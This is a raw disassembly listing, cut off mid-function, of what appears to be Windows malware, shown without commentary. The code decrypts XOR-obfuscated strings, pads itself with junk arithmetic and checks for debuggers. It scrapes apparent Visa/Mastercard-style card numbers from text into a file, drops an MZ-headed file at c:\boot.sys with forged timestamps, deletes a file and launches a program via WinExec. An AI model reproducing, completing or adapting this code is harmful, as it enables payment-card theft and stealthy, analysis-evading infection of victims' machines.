var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_13], 0BEh
		add	[ebp+var_13], 3Fh
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_10], 0


loc_408065:				; CODE XREF: sub_408048+15Ej
					; sub_408048+169j ...
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 3Ah
		jnz	loc_408179
		mov	[ebp+var_18], 723h
		sub	[ebp+var_18], 2278h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [eax+edx+11h],	20h
		jz	short loc_40809B
		cmp	byte ptr [eax+edx+14h],	20h
		jnz	loc_408179


loc_40809B:				; CODE XREF: sub_408048+46j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 34h
		jz	short loc_4080B1
		cmp	al, 35h
		jnz	loc_408179


loc_4080B1:				; CODE XREF: sub_408048+5Fj
		mov	eax, [ebp+var_4]
		add	eax, 11h
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 20h
		jnz	short loc_4080C9
		mov	[ebp+var_8], 10h
		jmp	short loc_4080D0
; ---------------------------------------------------------------------------


loc_4080C9:				; CODE XREF: sub_408048+76j
		mov	[ebp+var_8], 13h


loc_4080D0:				; CODE XREF: sub_408048+7Fj
		mov	[ebp+var_9], 0
		xor	ebx, ebx
		jmp	short loc_408150
; ---------------------------------------------------------------------------


loc_4080D8:				; CODE XREF: sub_408048+10Bj
		call	sub_40C7D0	; GetVersion
		cmp	[ebp+var_8], 13h
		jnz	short loc_408119
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 2Dh
		jnz	short loc_408119
		mov	edi, 5
		mov	esi, ebx
		inc	esi
		mov	[ebp+var_1C], edi
		mov	eax, esi
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		mov	[ebp+var_20], eax
		mov	eax, edi
		mov	edi, [ebp+var_20]
		mul	[ebp+var_20]
		mov	[ebp+var_24], eax
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_40814F


loc_408119:				; CODE XREF: sub_408048+99j
					; sub_408048+A8j
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 30h
		jl	short loc_408132
		cmp	al, 39h
		jle	short loc_408134


loc_408132:				; CODE XREF: sub_408048+E4j
		jmp	short loc_408179
; ---------------------------------------------------------------------------


loc_408134:				; CODE XREF: sub_408048+E8j
		movzx	eax, [ebp+var_9]
		mov	edx, [ebp+var_4]
		inc	edx
		add	edx, ebx
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx+edx]
		mov	ds:byte_433FE0[eax], dl
		add	[ebp+var_9], 1


loc_40814F:				; CODE XREF: sub_408048+CFj
		inc	ebx


loc_408150:				; CODE XREF: sub_408048+8Ej
		cmp	ebx, [ebp+var_8]
		jb	short loc_4080D8
		mov	eax, [ebp+var_8]
		mov	ds:byte_433FE0[eax], 0
		call	sub_40133B
		or	eax, eax
		jz	short loc_408170
		call	sub_40C734	; GetCurrentProcessId
		jmp	short loc_408179
; ---------------------------------------------------------------------------


loc_408170:				; CODE XREF: sub_408048+11Fj
		mov	[ebp+var_10], 1
		jmp	short loc_4081E7
; ---------------------------------------------------------------------------


loc_408179:				; CODE XREF: sub_408048+27j
					; sub_408048+4Dj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0
		jz	short loc_4081E3
		mov	[ebp+var_12], 2C6Eh
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 3Ch
		jnz	loc_408065
		cmp	byte ptr [eax+edx+1], 46h
		jnz	loc_408065
		cmp	byte ptr [eax+edx+2], 4Fh
		jnz	loc_408065
		cmp	byte ptr [eax+edx+3], 52h
		jnz	loc_408065
		cmp	byte ptr [eax+edx+4], 4Dh
		jnz	loc_408065
		cmp	byte ptr [eax+edx+5], 5Fh
		jnz	loc_408065


loc_4081E3:				; CODE XREF: sub_408048+13Ej
		and	[ebp+var_10], 0


loc_4081E7:				; CODE XREF: sub_408048+12Fj
		cmp	[ebp+var_10], 0
		jz	short loc_4081FC
		mov	eax, ds:dword_42FB14
		mov	dword_43C21C, eax
		jmp	loc_4082A6
; ---------------------------------------------------------------------------


loc_4081FC:				; CODE XREF: sub_408048+1A3j
		call	sub_40C854	; IsDebuggerPresent
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40E080
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 7776h
		add	[ebp+var_20], 6412h
		push	2
		push	0
		push	0
		push	eax
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_408244:				; CODE XREF: sub_408048+201j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408244
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_24]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	sub_40C944	; WriteFile
		lea	edi, [ebp+var_2A]
		lea	esi, aQKy	; "~Q ky"
		mov	ecx, 6
		rep movsb
		push	2
		push	offset byte_446EB0
		call	sub_407FBC
		add	esp, 8
		push	0
		lea	edi, [ebp+var_24]
		push	edi
		mov	edi, 14h
		sub	edi, dword_442440
		push	edi
		push	eax
		push	[ebp+var_1C]
		call	sub_40C944	; WriteFile
		call	sub_40C7C4	; GetTickCount
		push	[ebp+var_1C]
		call	sub_40C7AC	; CloseHandle


loc_4082A6:				; CODE XREF: sub_408048+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4082AB	proc near		; CODE XREF: sub_40833E+76p
					; sub_40844F+DEp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 0Dh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_446458
		lea	eax, ds:40D000h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4082F0
; ---------------------------------------------------------------------------


loc_4082D9:				; CODE XREF: sub_4082AB+47j
		mov	eax, dword_446458
		add	eax, edi
		lea	eax, ds:40D000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 3Ah
		mov	[eax], dl
		inc	edi


loc_4082F0:				; CODE XREF: sub_4082AB+2Cj
		cmp	edi, esi
		jl	short loc_4082D9
		mov	eax, dword_446458
		add	eax, esi
		mov	byte ptr ds:dword_40D000[eax], 0
		xor	edi, edi
		mov	edi, dword_446458
		inc	dword_446458
		mov	eax, dword_446458
		lea	eax, [eax+esi+6]
		mov	dword_446458, eax
		cmp	eax, 0DFAh
		jle	short loc_40832D
		and	dword_446458, 0


loc_40832D:				; CODE XREF: sub_4082AB+79j
		mov	[ebp+var_8], 337h
		lea	eax, dword_40D000[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4082AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40833E	proc near		; CODE XREF: sub_40844F+90p

var_22C		= word ptr -22Ch
var_22A		= byte ptr -22Ah
var_222		= byte ptr -222h
var_21A		= byte ptr -21Ah
var_212		= dword	ptr -212h
var_20E		= byte ptr -20Eh
var_109		= byte ptr -109h
var_108		= word ptr -108h
var_105		= byte ptr -105h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		push	esi
		push	edi
		call	sub_40C7C4	; GetTickCount
		mov	eax, dword_44645C
		mov	[ebp+var_212], eax
		mov	[ebp+var_108], 1671h
		movzx	eax, [ebp+var_108]
		imul	eax, 49FCh
		mov	[ebp+var_108], ax
		push	104h
		lea	eax, [ebp+var_20E]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		mov	[ebp+var_109], 7Ch
		add	[ebp+var_109], 1
		lea	eax, [ebp+var_20E]
		push	eax
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_40C6D8
		call	sub_40C7D0	; GetVersion
		push	0Dh
		push	offset word_446EA2
		call	sub_4082AB
		push	eax
		lea	esi, [ebp+var_105]
		push	esi
		call	sub_40CC74
		add	esp, 10h
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40844B
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_22A]
		push	eax
		lea	eax, [ebp+var_222]
		push	eax
		lea	eax, [ebp+var_21A]
		push	eax
		push	edi
		call	sub_40C758	; GetFileTime
		lea	eax, [ebp+var_22A]
		push	eax
		lea	eax, [ebp+var_222]
		push	eax
		lea	eax, [ebp+var_21A]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C8E4	; SetFileTime
		push	edi
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_22C], 0BCFh
		movzx	eax, [ebp+var_22C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_22C], ax


loc_40844B:				; CODE XREF: sub_40833E+ABj
		pop	edi
		pop	esi
		leave
		retn
sub_40833E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40844F	proc near		; CODE XREF: sub_40AA24+8Dp

var_22B		= byte ptr -22Bh
var_228		= byte ptr -228h
var_220		= byte ptr -220h
var_21B		= byte ptr -21Bh
var_218		= byte ptr -218h
var_114		= byte ptr -114h
var_108		= word ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jnb	loc_4085A0
		lea	edi, [ebp+var_114]
		lea	esi, aCBoot_sys	; "c:\\boot.sys"
		mov	ecx, 3
		rep movsd
		lea	edi, [ebp+var_21B]
		lea	esi, aRi	; "rI"
		mov	ecx, 3
		rep movsb
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_108], 7171h
		sub	[ebp+var_108], 3D17h
		push	0
		lea	eax, [ebp+var_220]
		push	eax
		push	4001h
		push	offset aMzr	; "MZ"
		push	ebx
		call	sub_40C944	; WriteFile
		push	ebx
		call	sub_40833E
		call	sub_40C740	; GetCurrentThreadId
		push	ebx
		call	sub_40C7AC	; CloseHandle
		lea	edi, [ebp+var_228]
		lea	esi, byte_44646F
		mov	ecx, 2
		rep movsd
		lea	edi, [ebp+var_22B]
		lea	esi, byte_446477
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		push	0Ah
		push	offset byte_446E97
		call	sub_4082AB
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		lea	edi, [ebp+var_218]
		push	edi
		call	sub_40CC50
		call	sub_40C740	; GetCurrentThreadId
		push	1Dh
		push	offset byte_446E79
		call	sub_4082AB
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		add	esp, 28h
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40C704	; DeleteFileA
		mov	[ebp+var_105], 45h
		movzx	eax, [ebp+var_105]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_105], al
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C938	; WinExec


loc_4085A0:				; CODE XREF: sub_40844F+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40844F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_446504
		lea	eax, ds:432DD0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 1E6h
		xor	edi, edi
		jmp	short loc_4085EB
; ---------------------------------------------------------------------------


loc_4085D4:				; CODE XREF: .text:004085EDj
		mov	eax, dword_446504
		add	eax, edi
		lea	eax, ds:432DD0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0Fh
		mov	[eax], dl
		inc	edi


loc_4085EB:				; CODE XREF: .text:004085D2j
		cmp	edi, esi
		jl	short loc_4085D4
		mov	dword ptr [ebp-8], 237h
		mov	eax, dword_446504
		add	eax, esi
		mov	byte ptr ds:dword_432DD0[eax], 0
		xor	edi, edi
		mov	edi, dword_446504
		add	dword_446504, 2
		mov	eax, dword_446504
		add	eax, 6
		add	eax, esi
		mov	dword_446504, eax
		add	dword_446504, 2
		cmp	dword_446504, 0DC4h
		jle	short loc_40863D
		and	dword_446504, 0


loc_40863D:				; CODE XREF: .text:00408634j
		mov	dword ptr [ebp-0Ch], 65h
		lea	eax, dword_432DD0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40864E	proc near		; CODE XREF: sub_408779+43p

var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_40C7D0	; GetVersion
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	sub_40C908	; VirtualAlloc
		jmp	short locret_40867B
; ---------------------------------------------------------------------------
		mov	[ebp+var_1], 3Fh
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al

locret_40867B:				; CODE XREF: sub_40864E+1Aj
		leave
		retn
sub_40864E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40867D	proc near		; CODE XREF: sub_408779+E6p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_40C740	; GetCurrentThreadId
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	sub_40C914	; VirtualFree
		jmp	short loc_40869B
; ---------------------------------------------------------------------------
		call	sub_40C794	; GetProcessHeap


loc_40869B:				; CODE XREF: sub_40867D+17j
		pop	ebp
		retn
sub_40867D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2A0h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_446510
		lea	eax, ds:43A570h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 2B3h
		xor	edi, edi
		jmp	short loc_4086ED
; ---------------------------------------------------------------------------


loc_4086D3:				; CODE XREF: .text:004086EFj
		mov	eax, dword_446510
		add	eax, edi
		lea	eax, ds:43A570h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F6h
		mov	[eax], dl
		inc	edi


loc_4086ED:				; CODE XREF: .text:004086D1j
		cmp	edi, esi
		jl	short loc_4086D3
		mov	dword ptr [ebp-0Ch], 25h
		mov	eax, dword_446510
		add	eax, esi
		mov	byte ptr ds:dword_43A570[eax], 0
		mov	edi, dword_446510
		inc	dword_446510
		mov	eax, dword_446510
		add	eax, 5
		add	eax, esi
		mov	dword_446510, eax
		cmp	eax, 0E06h
		jle	short loc_408730
		and	dword_446510, 0


loc_408730:				; CODE XREF: .text:00408727j
		mov	dword ptr [ebp-10h], 20Bh
		lea	eax, dword_43A570[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408741	proc near		; CODE XREF: sub_408779+103p

var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 19C3h
		sub	[ebp+var_4], 4EAAh
		push	offset dword_4464BC
		push	offset dword_44647C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BC80
		mov	[ebp+var_1], 19h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		leave
		retn
sub_408741	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408779	proc near		; CODE XREF: sub_4098A8+4E0p

var_71		= word ptr -71h
var_6F		= byte ptr -6Fh
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_62		= byte ptr -62h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp+var_68]
		lea	esi, a@8wz	; " @8WZ"
		mov	ecx, 3
		rep movsw
		call	sub_40C7D0	; GetVersion
		mov	eax, dword_44651A
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4087B3
		add	eax, 3Fh


loc_4087B3:				; CODE XREF: sub_408779+35j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_40864E
		pop	ecx
		mov	[ebp+var_18], eax
		mov	[ebp+var_22], 7A30h
		sub	[ebp+var_22], 748Fh
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4087DC
		add	eax, 3Fh


loc_4087DC:				; CODE XREF: sub_408779+5Ej
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	[ebp+var_18]
		call	sub_40C8C0	; RtlZeroMemory
		lea	edi, [ebp+var_6F]
		lea	esi, word_44651E
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_18]
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_1C], 2FF0h
		mov	eax, [ebp+var_1C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_1C], edx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40BDBE
		mov	ebx, [ebp+var_18]
		and	[ebp+var_4], 0
		jmp	short loc_408849
; ---------------------------------------------------------------------------


loc_40882F:				; CODE XREF: sub_408779+E1j
		mov	ax, word_446521
		mov	[ebp+var_71], ax
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40BDE5
		add	ebx, 40h
		inc	[ebp+var_4]


loc_408849:				; CODE XREF: sub_408779+B4j
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_408854
		add	eax, 3Fh


loc_408854:				; CODE XREF: sub_408779+D6j
		sar	eax, 6
		cmp	[ebp+var_4], eax
		jl	short loc_40882F
		push	[ebp+var_18]
		call	sub_40867D
		mov	[ebp+var_20], 2FAh
		mov	eax, [ebp+var_20]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_20], edx
		lea	eax, [ebp+var_62]
		push	eax
		push	[ebp+arg_8]
		call	sub_408741
		mov	eax, dword_44650C
		add	eax, 2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_62]
		push	eax
		call	sub_40CC08
		add	esp, 18h
		or	eax, eax
		jz	short loc_4088A3
		xor	eax, eax
		inc	eax
		jmp	short loc_4088AA
; ---------------------------------------------------------------------------


loc_4088A3:				; CODE XREF: sub_408779+123j
		call	sub_40C854	; IsDebuggerPresent
		xor	eax, eax


loc_4088AA:				; CODE XREF: sub_408779+128j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408779	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_44652C
		lea	eax, ds:439560h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 2A0h
		xor	edi, edi
		jmp	short loc_4088F5
; ---------------------------------------------------------------------------


loc_4088DE:				; CODE XREF: .text:004088F7j
		mov	eax, dword_44652C
		add	eax, edi
		lea	eax, ds:439560h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 1Bh
		mov	[eax], dl
		inc	edi


loc_4088F5:				; CODE XREF: .text:004088DCj
		cmp	edi, esi
		jl	short loc_4088DE
		mov	dword ptr [ebp-8], 29Ch
		mov	eax, dword_44652C
		add	eax, esi
		mov	byte ptr ds:dword_439560[eax], 0
		mov	edi, dword_44652C
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_44652C, eax
		cmp	eax, 0DDFh
		jle	short loc_40892D
		and	dword_44652C, 0


loc_40892D:				; CODE XREF: .text:00408924j
		mov	dword ptr [ebp-0Ch], 0D8h
		lea	eax, dword_439560[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40893E	proc near		; CODE XREF: sub_4098A8+413p
					; sub_4098A8+42Bp

var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_25		= byte ptr -25h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1B		= byte ptr -1Bh
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		lea	edi, [ebp+var_1B]
		lea	esi, aVlvh__0	; "vlVh_"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ebx, [ebp+arg_0]
		jmp	loc_408A7F
; ---------------------------------------------------------------------------


loc_40897F:				; CODE XREF: sub_40893E+14Cj
		lea	edi, [ebp+var_20]
		lea	esi, aHu	; ": hu"
		mov	ecx, 5
		rep movsb
		movsx	edi, byte ptr [ebx]
		shl	edi, 2
		mov	edi, dword_446538[edi]
		mov	[ebp+var_4], edi
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	edi, 0FFFFFFFFh
		jz	loc_408A7E
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, [ebp+var_10]
		or	eax, eax
		jl	loc_408A78
		cmp	eax, 3
		jg	loc_408A78
		jmp	off_446948[eax*4]
; ---------------------------------------------------------------------------
		mov	[ebp+var_25], 38h
		sub	[ebp+var_25], 0BCh


loc_4089D5:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:off_446948o
		inc	[ebp+var_10]
		lea	edi, [ebp+var_34]
		lea	esi, a1bOt	; "/1~oT:"
		movsd
		movsd
		jmp	loc_408A78
; ---------------------------------------------------------------------------


loc_4089E8:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:0044694Co
		mov	edi, [ebp+var_14]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		and	esi, 30h
		sar	esi, 4
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_15], dl
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408A78
; ---------------------------------------------------------------------------


loc_408A13:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:00446950o
		mov	edi, [ebp+var_14]
		and	edi, 0Fh
		shl	edi, 4
		mov	esi, [ebp+var_4]
		and	esi, 3Ch
		sar	esi, 2
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_15], dl
		lea	edi, [ebp+var_35]
		lea	esi, byte_446945
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408A78
; ---------------------------------------------------------------------------


loc_408A4A:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:00446954o
		mov	edi, [ebp+var_14]
		and	edi, 3
		shl	edi, 6
		or	edi, [ebp+var_4]
		mov	edx, edi
		mov	[ebp+var_15], dl
		mov	[ebp+var_2C], 6257h
		add	[ebp+var_2C], 0D1Fh
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		and	[ebp+var_10], 0


loc_408A78:				; CODE XREF: sub_40893E+79j
					; sub_40893E+82j ...
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14], eax


loc_408A7E:				; CODE XREF: sub_40893E+69j
		inc	ebx


loc_408A7F:				; CODE XREF: sub_40893E+3Cj
		cmp	byte ptr [ebx],	0
		jz	short loc_408A90
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_40897F


loc_408A90:				; CODE XREF: sub_40893E+144j
		cmp	byte ptr [ebx],	0
		jnz	short loc_408AB1
		mov	[ebp+var_1E], 214Eh
		movzx	eax, [ebp+var_1E]
		imul	eax, 7B26h
		mov	[ebp+var_1E], ax
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_408AB4
; ---------------------------------------------------------------------------


loc_408AB1:				; CODE XREF: sub_40893E+155j
		or	eax, 0FFFFFFFFh


loc_408AB4:				; CODE XREF: sub_40893E+171j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40893E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AB9	proc near		; CODE XREF: sub_408B4C+88p
					; sub_408B4C+E4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_446960
		lea	eax, ds:413F30h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 278h
		xor	edi, edi
		jmp	short loc_408B02
; ---------------------------------------------------------------------------


loc_408AE8:				; CODE XREF: sub_408AB9+4Bj
		mov	eax, dword_446960
		add	eax, edi
		lea	eax, ds:413F30h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 9Ah
		mov	[eax], dl
		inc	edi


loc_408B02:				; CODE XREF: sub_408AB9+2Dj
		cmp	edi, esi
		jl	short loc_408AE8
		mov	[ebp+var_8], 2C7h
		mov	eax, dword_446960
		add	eax, esi
		mov	byte ptr ds:dword_413F30[eax], 0
		mov	edi, dword_446960
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_446960, eax
		cmp	eax, 0DB8h
		jle	short loc_408B3B
		and	dword_446960, 0


loc_408B3B:				; CODE XREF: sub_408AB9+79j
		mov	[ebp+var_C], 2EEh
		lea	eax, dword_413F30[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_408AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B4C	proc near		; CODE XREF: sub_4098A8:loc_40A8A0p

var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_383		= dword	ptr -383h
var_37F		= byte ptr -37Fh
var_378		= byte ptr -378h
var_372		= word ptr -372h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_365		= byte ptr -365h
var_261		= dword	ptr -261h
var_25D		= dword	ptr -25Dh
var_251		= byte ptr -251h
var_250		= byte ptr -250h
var_24F		= byte ptr -24Fh
var_24E		= byte ptr -24Eh
var_14A		= word ptr -14Ah
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, dword_446964
		mov	[ebp+var_370], eax
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	sub_40C7B8	; GetTempPathA
		mov	[ebp+var_14A], 21A4h
